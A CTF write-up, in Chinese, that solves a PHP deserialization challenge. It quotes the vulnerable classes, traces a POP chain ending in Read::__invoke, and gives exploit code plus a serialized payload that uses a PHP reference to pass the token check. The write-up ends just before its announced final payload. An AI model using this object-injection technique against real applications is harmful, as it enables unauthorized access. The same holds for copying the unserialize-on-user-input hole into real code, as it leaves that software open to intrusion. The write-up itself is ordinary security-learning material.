【19河北师大邀请赛】让我们一起来变魔术
是19国赛web1+京津冀邀请赛的反序列化题目的变形。
拿到页面,查看网页源代码,获得关键代码:
class Read { public $var; public $token; public $token_flag; public function __construct() { $this->token_flag = $this->token = md5(rand(1,10000)); } public function __invoke(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) { echo "flag{**********}"; } } } class Show { public $source; public $str; public function __construct() { echo $this->source."<br>"; } public function __toString() { $this->str['str']->source; } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $params; public function __construct() { $this->params = array(); } public function __get($key) { $func = $this->params; return $func(); } } if(isset($_GET['chal'])) { $chal = unserialize($_GET['chal']); }
明显的反序列化题目。
开始构造pop链。
先出一个大体思路:起点---终点
1.审计到Show里有__toSting函数,考虑是pop链起点。
2.步进——Show中的__construct(),(有echo)
3.继续步进——寻找可以读flag的地方,明显是Read的__invoke函数。pop链结束。
现在从__invoke往回反推:
1.首先__invoke要想执行,需要
$this->token === $this->token_flag
而$this->token_flag在每次调用__invoke时,会重新生成。
可以使用引用,使token变为token_flag的引用即可解决:
$this->token = &$this->token_flag;
2.要想触发__invoke,需要以调用函数的方式调用一个对象。
可以看到Test中的__get()方法有:
public function __get($key) { $func = $this->params; return $func(); }
3.步进,要想触发__get()方法,需要访问不存在的成员变量:
看一下show的__toString():
public function __toString() { $this->str['str']->source; }
所以思路很明确了:
Read::__invoke()<--Test::__get()<--Show::__toString()
payload如下:
<?php class Read{ public $token; public $token_flag; function __construct(){ $this->token = &$this->token_flag; //引用 } } class Show { public $source; public $str; } class Test { public $params; } $p3 = new Read(); $p2 = new Test(); $p2->params = $p3; $p4 = new Show(); $p4->str = array('str'=>$p2); $exp = new Show(); $exp->source = $p4; echo serialize($exp); ?>
执行后结果如下:
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:6:"params";O:4:"Read":2:{s:5:"token";N;s:10:"token_flag";R:7;}}}}s:3:"str";N;}
所以最终payload如下: